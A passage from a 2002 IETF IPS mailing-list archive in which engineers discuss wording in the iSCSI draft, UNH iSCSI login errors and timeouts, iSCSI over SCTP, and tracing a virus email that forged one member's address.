acknowledge the new work done in Section 4, which is a start. Alas, it seems this discussion will soon be 'overcome by events'. Brian Forbes Brocade Communications -----Original Message----- From: Luben Tuikov [mailto:luben@splentec.com] Sent: Monday, August 26, 2002 3:19 PM To: Brian Forbes Cc: 'Julian Satran'; ips@ece.cmu.edu Subject: Re: IPS WG Last Call: Structural Improvements Brian Forbes wrote: > > To be more specific & constructive, and to see whether there is support from > others for these suggestions, here goes: > > - The topic of login needs an overview section that introduces concepts such > as session phases, connection phases, session types, declarations vs. > negotiations, and login stages. Much of the terminology is introduced on > the fly. > Agreed. While the details are there and explained, presenting the ``big picture'' of the procedure would be invaluable to the uninitiated reader. Currently a new reader in encumbered with the task of building the ``big picture'' by just reading about the details (CSG/NSG, etc.). > - There are many cases where an English phrase is used as a euphemism for > well-defined iSCSI term. One example is the use of a phrase like 'the > maximum length of unsolicited data negotiated during login' instead of > 'FirstBurstLength'. Such euphemisms might be justified early in an > overview, before the iSCSI term has been introduced, but anywhere else it > leaves the reader wondering. At a minimum, euphemisms should be > supplemented by appending the iSCSI term in parentheses, and in many cases a > forward section reference is also in order. It also suggests that more > iSCSI terms should be introduced (but not necessarily defined in detail) > earlier in the text; e.g. frequently-mentioned key names. At this stage we can afford to get rid of euphemisms altogether. I.e. there'd be no more changes of names at all. If ``FirstBurstLength'' is intended, then that name should be used, and if the reader needs to know what it is, they can always look up its definition elsewhere in the iSCSI document. This would make the text more robust and more clear (in my opinion). > - There seem to be cases where new terminology/notation would be very > useful. There are many phrases of the form 'an X having the Y bit set to > 1'; when multiples of these appear in the same sentence-and they do- parsing > becomes difficult. One could define a flavor of X that implies having the Y > bit set; e.g. one could define a 'final Data-out PDU' as a PDU having the F > bit set. Agreed. Defining ``final Data-x PDU'' to be equivalent to a PDU whose F bit = 1, and then defining a sequence to end with a final Data-x PDU, would clarify text in the sense that instead of saying: ``has to have it's F bit = 1'' one would say ``the PDU sequence'' and that's it. If one wants to know what is meant, they'd look up ``PDU sequence'', then ``final Data-x PDU'', etc. Clearly a structurally more sound document. -- Luben P.S. Yes, indeed, semantics _do_ make a difference. And we've seen this fact shown numerous times in the latter 20th century, contrary to the mid-20th century fad ``It's only semantics''. ------_=_NextPart_001_01C24D56.FAC4E890 Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: IPS WG Last Call: Structural Improvements

To Luben's point, since semantics is all about = meaning, people who dismiss discussions as 'just arguing semantics' = can't really mean what they're saying (maybe they mean 'just arguing = syntax'?).  :-)

To be fair to ouor esteemed and harried editor, = Julian did incorporate certain of my comments from the previous Last = Call, probably to the limit of his time & patience.  And I = didn't acknowledge the new work done in Section 4, which is a = start.

Alas, it seems this discussion will soon be 'overcome = by events'.

Brian Forbes
Brocade Communications

-----Original Message-----
From: Luben Tuikov [mailto:luben@splentec.com]=
Sent: Monday, August 26, 2002 3:19 PM
To: Brian Forbes
Cc: 'Julian Satran'; ips@ece.cmu.edu
Subject: Re: IPS WG Last Call: Structural = Improvements


Brian Forbes wrote:
>
> To be more specific & constructive, and to = see whether there is support from
> others for these suggestions, here goes:
>
> - The topic of login needs an overview section = that introduces concepts such
> as session phases, connection phases, session = types, declarations vs.
> negotiations, and login stages.  Much of = the terminology is introduced on
> the fly.
>

Agreed.

While the details are there and explained, presenting = the ``big picture''
of the procedure would be invaluable to the = uninitiated reader.

Currently a new reader in encumbered with the task of = building the ``big
picture'' by just reading about the details = (CSG/NSG, etc.).

> -  There are many cases where an English = phrase is used as a euphemism for
> well-defined iSCSI term.  One example is = the use of a phrase like 'the
> maximum length of unsolicited data negotiated = during login' instead of
> 'FirstBurstLength'.  Such euphemisms might = be justified early in an
> overview, before the iSCSI term has been = introduced, but anywhere else it
> leaves the reader wondering.  At a = minimum, euphemisms should be
> supplemented by appending the iSCSI term in = parentheses, and in many cases a
> forward section reference is also in = order.  It also suggests that more
> iSCSI terms should be introduced (but not = necessarily defined in detail)
> earlier in the text; e.g. frequently-mentioned = key names.

At this stage we can afford to get rid of euphemisms = altogether. I.e.
there'd be no more changes of names at all.

If ``FirstBurstLength'' is intended, then that name = should be used,
and if the reader needs to know what it is, they can = always look up
its definition elsewhere in the iSCSI = document.

This would make the text more robust and more clear = (in my opinion).
 
> - There seem to be cases where new = terminology/notation would be very
> useful.  There are many phrases of the = form 'an X having the Y bit set to
> 1'; when multiples of these appear in the same = sentence-and they do- parsing
> becomes difficult.  One could define a = flavor of X that implies having the Y
> bit set; e.g. one could define a 'final = Data-out PDU' as a PDU having the F
> bit set.

Agreed.

Defining ``final Data-x PDU'' to be equivalent to a = PDU whose F bit =3D 1,
and then defining a sequence to end with a final = Data-x PDU,
would clarify text in the sense that instead of = saying:
``has to have it's F bit =3D 1'' one would = say
``the PDU sequence'' and that's it.

If one wants to know what is meant, they'd look up = ``PDU sequence'',
then ``final Data-x PDU'', etc. Clearly a = structurally more sound
document.

--
Luben

P.S. Yes, indeed, semantics _do_ make a difference. = And we've seen this
fact shown numerous times in the latter 20th = century, contrary to
the mid-20th century fad ``It's only = semantics''.

------_=_NextPart_001_01C24D56.FAC4E890-- From owner-ips@ece.cmu.edu Tue Aug 27 12:02:16 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA29436 for ; Tue, 27 Aug 2002 12:02:15 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RF02x25986 for ips-outgoing; Tue, 27 Aug 2002 11:00:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from iol.unh.edu (io.iol.unh.edu [132.177.123.82]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RE6Mo22316 for ; Tue, 27 Aug 2002 10:06:22 -0400 (EDT) Received: from io.iol.unh.edu (localhost.localdomain [127.0.0.1]) by iol.unh.edu (8.12.3/8.12.3) with ESMTP id g7RE5k3e001130; Tue, 27 Aug 2002 10:05:46 -0400 Received: from localhost (cdeng@localhost) by io.iol.unh.edu (8.12.3/8.12.3/Submit) with ESMTP id g7RE5kYG001127; Tue, 27 Aug 2002 10:05:46 -0400 Date: Tue, 27 Aug 2002 10:05:46 -0400 (EDT) From: Chaoyang Deng To: "Asai Thambi S.P - CTD, Chennai." cc: udayan_singh@lko.tcs.co.in, , , Subject: RE: Error in running UNH iSCSI code In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi, Please DO NOT use "manage" script on the target side. That is my fault, I should not put the script in the target directory, which I used for testing error only. :( Have fun! Chaoyang On Tue, 27 Aug 2002, Asai Thambi S.P - CTD, Chennai. wrote: > > I am using UNH iSCSI code on Redhat Linux on virtual > > machine. Here after > > installing the initiator module and target module we got the following > > errors on > > the initiator end : > > > > Gotkey: SessionType=Normal > > ../common/text_param.h : check_correctness:1368: ***ERROR*** > > key"SessionType" cannot be sent to initiator. > > The initiator should start the negotiation of the "SessionType" and > the target has to check if it supports that type of session and proceed > acccordingly. The target shouldn't initiate THIS key negotiation. > > This is a protocol error (if I'm wrong, correct me). > > > and at target end: > > iscsi_target.c : error: rx_data: rx_loop_0 total_rx_0 > > iscsi_rx_thread : trouble receiving data. > > The initiator on detecting the above ERROR, closes the connection. > The target is waiting to receive data from the socket and at that time, > one end of the socket is closed and hence sock_recvmsg() at the target side > returned a value <=0 ( I think it is 0). > > This protocol error occurs during session login, the connection is closed > and hence > the session is not established. > > Suppose this error occurs (generally it shouldn't occur) during connection > login (session is in > full feature phase), > what should the initiator do? > * close the connection or > * close the session > > Can anybody through some more light on this? > > Thanks, > asai thambi. > +----------------------------------------------------+ | Chaoyang Deng -- cdeng@iol.unh.edu -- 603.862.1908 | | iSCSI Consortium, InterOperability lab (IOL), UNH | | http://www.iol.unh.edu/consortiums/iscsi/ | | 204 Forest Park, Durham, NH 03824 -- 603.868.3470 | +----------------------------------------------------+ From owner-ips@ece.cmu.edu Tue Aug 27 12:02:18 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA29450 for ; Tue, 27 Aug 2002 12:02:17 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RF07O25997 for ips-outgoing; Tue, 27 Aug 2002 11:00:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from iol.unh.edu (io.iol.unh.edu [132.177.123.82]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RE8oo22470 for ; Tue, 27 Aug 2002 10:08:50 -0400 (EDT) Received: from io.iol.unh.edu (localhost.localdomain [127.0.0.1]) by iol.unh.edu (8.12.3/8.12.3) with ESMTP id g7RE8F3e001235; Tue, 27 Aug 2002 10:08:15 -0400 Received: from localhost (rdr@localhost) by io.iol.unh.edu (8.12.3/8.12.3/Submit) with ESMTP id g7RE8FlW001232; Tue, 27 Aug 2002 10:08:15 -0400 Date: Tue, 27 Aug 2002 10:08:15 -0400 (EDT) From: "Robert D. Russell" To: "Asai Thambi S.P - CTD, Chennai." cc: udayan_singh@lko.tcs.co.in, , , Subject: RE: Error in running UNH iSCSI code In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk Asai: > Suppose this error occurs (generally it shouldn't occur) during connection > login (session is in > full feature phase), > what should the initiator do? > * close the connection or > * close the session Close the connection. Bob Russell From owner-ips@ece.cmu.edu Tue Aug 27 12:02:33 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA29469 for ; Tue, 27 Aug 2002 12:02:33 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RF2ZJ26173 for ips-outgoing; Tue, 27 Aug 2002 11:02:35 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ganesh.ctd.hctech.com ([202.54.64.2]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RF2Uo26164 for ; Tue, 27 Aug 2002 11:02:32 -0400 (EDT) Received: by GANESH with Internet Mail Service (5.5.2653.19) id ; Tue, 27 Aug 2002 18:42:48 +0530 Message-ID: From: "Asai Thambi S.P - CTD, Chennai." To: udayan_singh@lko.tcs.co.in, ips@ece.cmu.edu Cc: cdeng@iol.unh.edu, qtao@iol.unh.edu, rdr@iol.unh.edu Subject: RE: Error in running UNH iSCSI code Date: Tue, 27 Aug 2002 18:48:25 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > I am using UNH iSCSI code on Redhat Linux on virtual > machine. Here after > installing the initiator module and target module we got the following > errors on > the initiator end : > > Gotkey: SessionType=Normal > ../common/text_param.h : check_correctness:1368: ***ERROR*** > key"SessionType" cannot be sent to initiator. The initiator should start the negotiation of the "SessionType" and the target has to check if it supports that type of session and proceed acccordingly. The target shouldn't initiate THIS key negotiation. This is a protocol error (if I'm wrong, correct me). > and at target end: > iscsi_target.c : error: rx_data: rx_loop_0 total_rx_0 > iscsi_rx_thread : trouble receiving data. The initiator on detecting the above ERROR, closes the connection. The target is waiting to receive data from the socket and at that time, one end of the socket is closed and hence sock_recvmsg() at the target side returned a value <=0 ( I think it is 0). This protocol error occurs during session login, the connection is closed and hence the session is not established. Suppose this error occurs (generally it shouldn't occur) during connection login (session is in full feature phase), what should the initiator do? * close the connection or * close the session Can anybody through some more light on this? Thanks, asai thambi. From owner-ips@ece.cmu.edu Tue Aug 27 12:03:00 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA29506 for ; Tue, 27 Aug 2002 12:03:00 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RFITl27373 for ips-outgoing; Tue, 27 Aug 2002 11:18:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RFINo27364 for ; Tue, 27 Aug 2002 11:18:24 -0400 (EDT) Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.17.42]) by sj-msg-core-2.cisco.com (8.12.2/8.12.2) with ESMTP id g7RFIBmk018596 for ; Tue, 27 Aug 2002 08:18:11 -0700 (PDT) Received: from nisser.cisco.com (localhost [127.0.0.1]) by sj-msg-av-3.cisco.com (8.12.2/8.12.2) with ESMTP id g7RFIAd6026047 for ; Tue, 27 Aug 2002 08:18:11 -0700 (PDT) Received: from cisco.com (mbakke@mbakke-lnx.cisco.com [64.101.211.87]) by nisser.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id IAA24236 for ; Tue, 27 Aug 2002 08:18:09 -0700 (PDT) Message-ID: <3D6B9C8B.CDCDF925@cisco.com> Date: Tue, 27 Aug 2002 10:36:43 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: IPS Subject: Virus sent last Thursday - Anyone use RoadRunner? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Sorry this is a bit off-topic, but I want to clear this up. Last Thursday I had received a lot of email responses from virus scanning software from recipients on the ips mailing list mentioning a virus that appeared to be sent by me. Since I don't use Windows for email, it seemed odd that I could have sent anything. It turns out I didn't send it, but I want to figure out where it came from. Here's what happened. The email to the ips list was sent from a machine at austin.rr.com (RoadRunner), with the From: line set to my address. SMTP lets you do this; you can send an email that appears to be "From:" anyone you want. Here are the recieve headers from the machines that sent to majordomo: Received: from sm13.texas.rr.com (sm13.texas.rr.com [24.93.35.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7N3Koo15994 for ; Thu, 22 Aug 2002 23:20:51 -0400 (EDT) Received: from Cudhz (cs24243252-119.austin.rr.com [24.243.252.119]) by sm13.texas.rr.com (8.12.1/8.12.0.Beta16) with SMTP id g7N3OVDg010776 for ; Thu, 22 Aug 2002 22:24:32 -0500 Does anyone recognize the account or host named cs24243252-119? Thanks, -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Tue Aug 27 13:18:41 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA02633 for ; Tue, 27 Aug 2002 13:18:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RGkFh03551 for ips-outgoing; Tue, 27 Aug 2002 12:46:15 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas1.cos.agilent.com (msgbas1x.cos.agilent.com [192.25.240.36]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RGkBo03540 for ; Tue, 27 Aug 2002 12:46:11 -0400 (EDT) Received: from relcos2.cos.agilent.com (relcos2.cos.agilent.com [130.29.152.237]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id 7847E77F9; Tue, 27 Aug 2002 10:46:10 -0600 (MDT) Received: from axcsbh4.cos.agilent.com (axcsbh4.cos.agilent.com [130.29.152.145]) by relcos2.cos.agilent.com (Postfix) with SMTP id 2BFDC489; Tue, 27 Aug 2002 10:45:26 -0600 (MDT) Received: from 130.29.152.145 by axcsbh4.cos.agilent.com (InterScan E-Mail VirusWall NT); Tue, 27 Aug 2002 10:45:38 -0600 Received: by axcsbh4.cos.agilent.com with Internet Mail Service (5.5.2653.19) id ; Tue, 27 Aug 2002 10:45:37 -0600 Message-ID: <1BEBA5E8600DD4119A50009027AF54A00DB9FCAB@axcs04.cos.agilent.com> From: pat_thaler@agilent.com To: mbakke@cisco.com, ips@ece.cmu.edu Subject: RE: Virus sent last Thursday - Anyone use RoadRunner? Date: Tue, 27 Aug 2002 10:45:30 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Mark, This has come up on this list before. There are a group of viruses that use addresses that they find on the infected computer as the from address on the infected emails they send. When people get an infected email, they should check to see where it really came from and not assume that it was really send by the person in the from line. To do this for outlook, one uses View Options which has a box containing the internet headers (not very intuitive). Regards, Pat -----Original Message----- From: Mark Bakke [mailto:mbakke@cisco.com] Sent: Tuesday, August 27, 2002 8:37 AM To: IPS Subject: Virus sent last Thursday - Anyone use RoadRunner? Sorry this is a bit off-topic, but I want to clear this up. Last Thursday I had received a lot of email responses from virus scanning software from recipients on the ips mailing list mentioning a virus that appeared to be sent by me. Since I don't use Windows for email, it seemed odd that I could have sent anything. It turns out I didn't send it, but I want to figure out where it came from. Here's what happened. The email to the ips list was sent from a machine at austin.rr.com (RoadRunner), with the From: line set to my address. SMTP lets you do this; you can send an email that appears to be "From:" anyone you want. Here are the recieve headers from the machines that sent to majordomo: Received: from sm13.texas.rr.com (sm13.texas.rr.com [24.93.35.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7N3Koo15994 for ; Thu, 22 Aug 2002 23:20:51 -0400 (EDT) Received: from Cudhz (cs24243252-119.austin.rr.com [24.243.252.119]) by sm13.texas.rr.com (8.12.1/8.12.0.Beta16) with SMTP id g7N3OVDg010776 for ; Thu, 22 Aug 2002 22:24:32 -0500 Does anyone recognize the account or host named cs24243252-119? Thanks, -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Tue Aug 27 15:18:15 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA08440 for ; Tue, 27 Aug 2002 15:18:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RIh2411689 for ips-outgoing; Tue, 27 Aug 2002 14:43:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RIgwo11677 for ; Tue, 27 Aug 2002 14:42:58 -0400 (EDT) Received: from sj-msg-av-2.cisco.com (sj-msg-av-2.cisco.com [171.69.24.12]) by sj-msg-core-2.cisco.com (8.12.2/8.12.2) with ESMTP id g7RIgqmk003015; Tue, 27 Aug 2002 11:42:52 -0700 (PDT) Received: from nisser.cisco.com (localhost [127.0.0.1]) by sj-msg-av-2.cisco.com (8.12.2/8.12.2) with ESMTP id g7RIgovi014961; Tue, 27 Aug 2002 11:42:50 -0700 (PDT) Received: from cisco.com (mbakke@mbakke-lnx.cisco.com [64.101.211.87]) by nisser.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id LAA26222; Tue, 27 Aug 2002 11:42:49 -0700 (PDT) Message-ID: <3D6BCC82.2C3ED1A1@cisco.com> Date: Tue, 27 Aug 2002 14:01:22 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: pat_thaler@agilent.com CC: ips@ece.cmu.edu Subject: Re: Virus sent last Thursday - Anyone use RoadRunner? References: <1BEBA5E8600DD4119A50009027AF54A00DB9FCAB@axcs04.cos.agilent.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Pat- Thanks. Actually, nobody on the list complained about it; the automated virus-scanners sent the responses. I took Paul K's advise and forwarded the traceable response to the service provider, so they can handle it. Thanks, -- Mark pat_thaler@agilent.com wrote: > > Mark, > > This has come up on this list before. There are a group of viruses that > use addresses that they find on the infected computer as the from > address on the infected emails they send. > > When people get an infected email, they should check to see where > it really came from and not assume that it was really send by the > person in the from line. To do this for outlook, one uses View > Options which has a box containing the internet headers (not very > intuitive). > > Regards, > Pat > > -----Original Message----- > From: Mark Bakke [mailto:mbakke@cisco.com] > Sent: Tuesday, August 27, 2002 8:37 AM > To: IPS > Subject: Virus sent last Thursday - Anyone use RoadRunner? > > Sorry this is a bit off-topic, but I want to clear this up. > > Last Thursday I had received a lot of email responses from virus > scanning software from recipients on the ips mailing list mentioning > a virus that appeared to be sent by me. Since I don't use Windows > for email, it seemed odd that I could have sent anything. > > It turns out I didn't send it, but I want to figure out where it > came from. > > Here's what happened. The email to the ips list was sent from > a machine at austin.rr.com (RoadRunner), with the From: line set > to my address. SMTP lets you do this; you can send an email that > appears to be "From:" anyone you want. Here are the recieve > headers from the machines that sent to majordomo: > > Received: > from sm13.texas.rr.com (sm13.texas.rr.com [24.93.35.40]) by ece.cmu.edu (8.11.0/8.10.2) > with ESMTP id g7N3Koo15994 for ; Thu, 22 Aug 2002 23:20:51 > -0400 (EDT) > > Received: > from Cudhz (cs24243252-119.austin.rr.com [24.243.252.119]) by sm13.texas.rr.com > (8.12.1/8.12.0.Beta16) with SMTP id g7N3OVDg010776 for ; Thu, 22 > Aug 2002 22:24:32 -0500 > > Does anyone recognize the account or host named cs24243252-119? > > Thanks, > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Tue Aug 27 16:13:30 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA10775 for ; Tue, 27 Aug 2002 16:13:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RK3VB17428 for ips-outgoing; Tue, 27 Aug 2002 16:03:31 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dmz1.silverbacksystems.com (dmz1.silverbacksystems.com [65.172.158.82]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RK3So17413 for ; Tue, 27 Aug 2002 16:03:28 -0400 (EDT) Received: from ns.silverbacksystems.com (gate-camp-hme0.silverbacksystems.com [65.172.158.93]) by dmz1.silverbacksystems.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 339DAB518 for ; Tue, 27 Aug 2002 13:03:18 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by ns.silverbacksystems.com (Postfix on SuSE Linux eMail Server 3.0) with ESMTP id B6051C29D for ; Tue, 27 Aug 2002 13:03:17 -0700 (PDT) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="us-ascii" Date: Tue, 27 Aug 2002 13:03:01 -0700 From: "Gwendal Grignou" Importance: Normal Message-ID: <002d01c24e04$bf25dac0$7810000a@corp.silverbacksystems.com> MIME-Version: 1.0 Received: from ns.silverbacksystems.com (localhost [127.0.0.1]) by localhost (AvMailGate-2.0.0.6) id 28455-772A788B; Tue, 27 Aug 2002 13:02:56 -0700 Received: from GWENDALLAP (GWENDALLAP.corp.silverbacksystems.com [10.0.16.120]) by ns.silverbacksystems.com (Postfix on SuSE Linux eMail Server 3.0) with ESMTP id BDDCB32F9 for ; Tue, 27 Aug 2002 13:02:56 -0700 (PDT) Subject: iscsi: sequence timeout To: X-AntiVirus: OK! AntiVir MailGate Version 2.0.0.6 at ns.silverbacksystems.com has not found any known virus in this email. X-Mailer: Microsoft Outlook, Build 10.0.2627 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-MSMail-Priority: Normal X-Priority: 3 (Normal) Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Hello, First of all, I have a little editing comment: for coherency, "Sequence timeout" should be renamed "Sequence reception timeout". (2 occurrences) I have a question about what to do when the Sequence reception timeout occurs. According to the document, in 5.14.1.b), a sequence timeout is considered as an implicit sequence errors documented in 5.8 which is considered as an implicit digest errors documented in 5.7. Target can either send a recovery R2T or complete the command with sense data, indicating a "protocol service CRC error". But it is also mentioned in 5.7 that the target should wait for all the data, signaled with a Data PDU with an F bit) before finishing that command... To solve this chicken&egg thing, could it be mentioned the target can terminate the command when the Sequence reception timeout pops up? But then it has to handle the case the final DataOut PDU arrives after the "Sequence reception timeout" interval. Should the target take more drastic action to prevent this situation? Gwendal. From owner-ips@ece.cmu.edu Tue Aug 27 16:14:43 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA10842 for ; Tue, 27 Aug 2002 16:14:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RJYEH15523 for ips-outgoing; Tue, 27 Aug 2002 15:34:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from pepsi.splentec.com (ns.splentec.com [209.47.35.194]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RJYCo15518 for ; Tue, 27 Aug 2002 15:34:12 -0400 (EDT) Received: from splentec.com (canoe.splentec.com [209.47.35.250]) by pepsi.splentec.com (8.11.6/8.11.0) with ESMTP id g7RJXuH13984; Tue, 27 Aug 2002 15:33:56 -0400 Message-ID: <3D6BD426.6885877F@splentec.com> Date: Tue, 27 Aug 2002 15:33:58 -0400 From: Luben Tuikov Organization: Splentec Ltd. X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19 i686) X-Accept-Language: en MIME-Version: 1.0 To: Mark Bakke CC: IPS Subject: Re: Virus sent last Thursday - Anyone use RoadRunner? References: <3D6B9C8B.CDCDF925@cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Mark Bakke wrote: > > Received: > from sm13.texas.rr.com (sm13.texas.rr.com [24.93.35.40]) by ece.cmu.edu (8.11.0/8.10.2) > with ESMTP id g7N3Koo15994 for ; Thu, 22 Aug 2002 23:20:51 > -0400 (EDT) > > Received: > from Cudhz (cs24243252-119.austin.rr.com [24.243.252.119]) by sm13.texas.rr.com > (8.12.1/8.12.0.Beta16) with SMTP id g7N3OVDg010776 for ; Thu, 22 > Aug 2002 22:24:32 -0500 > > Does anyone recognize the account or host named cs24243252-119? So it seems that the originating IP is cs24243252-119.austin.rr.com [24.243.252.119]. As of now (Tue Aug 27 15:27:42 EDT 2002) this RR account seems to have the same IP assigned. Doing a bit of digging out on arin.net here's what comes up for CIDR 24.242.0.0/15: Name: ServiceCo LLC Handle: ZS30-ARIN Company: Address: 13241 Woodland Park Road Herndon, VA 20171 Country: US Comment: RegDate: 2000-02-23 Updated: 2000-08-16 Phone: +1-703-345-3416 (Office) Email: abuse@rr.com So this IP is located somewhere in VA. Email them at the indicated IP and explain the problem. You may follow this up with a telephone call if you are not satisfied with the response you get from the email. -- Luben From owner-ips@ece.cmu.edu Tue Aug 27 18:49:47 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA15515 for ; Tue, 27 Aug 2002 18:49:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7RMO6q26934 for ips-outgoing; Tue, 27 Aug 2002 18:24:06 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from gw.openss7.com (IDENT:mxpyaLssGsHgBXRDv7KnhItRjHLhDLKO@fw.openss7.com [142.179.197.31] (may be forged)) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7RMO2o26916 for ; Tue, 27 Aug 2002 18:24:03 -0400 (EDT) Received: from ns.pigworks.openss7.net (ns1.evil.openss7.net [192.168.9.1]) by gw.openss7.com (8.11.6/8.11.6) with ESMTP id g7RMNuN11355; Tue, 27 Aug 2002 16:23:56 -0600 Received: (from brian@localhost) by ns.pigworks.openss7.net (8.11.6/8.11.6) id g7RMNuI29430; Tue, 27 Aug 2002 16:23:56 -0600 Date: Tue, 27 Aug 2002 16:23:56 -0600 From: "Brian F. G. Bidulock" To: Black_David@emc.com Cc: ips@ece.cmu.edu Subject: Re: IPS and SCTP Message-ID: <20020827162356.A29240@openss7.org> Reply-To: bidulock@openss7.org References: <277DD60FB639D511AC0400B0D068B71E0564C220@CORPMX14> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5.1i In-Reply-To: <277DD60FB639D511AC0400B0D068B71E0564C220@CORPMX14>; from Black_David@emc.com on Tue, Aug 27, 2002 at 06:19:08PM -0400 Organization: http://www.openss7.org/ Dsn-Notification-To: Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Black_David, Sure. Perhaps a start would be (for me) to write an individual submission extension draft for running, say, iSCSI over SCTP. Would that be of interest to this WG? What would be the best timing for such a submission? --brian On Tue, 27 Aug 2002, Black_David@emc.com wrote: > Brian, > > Nothing serious that I know of ... care to 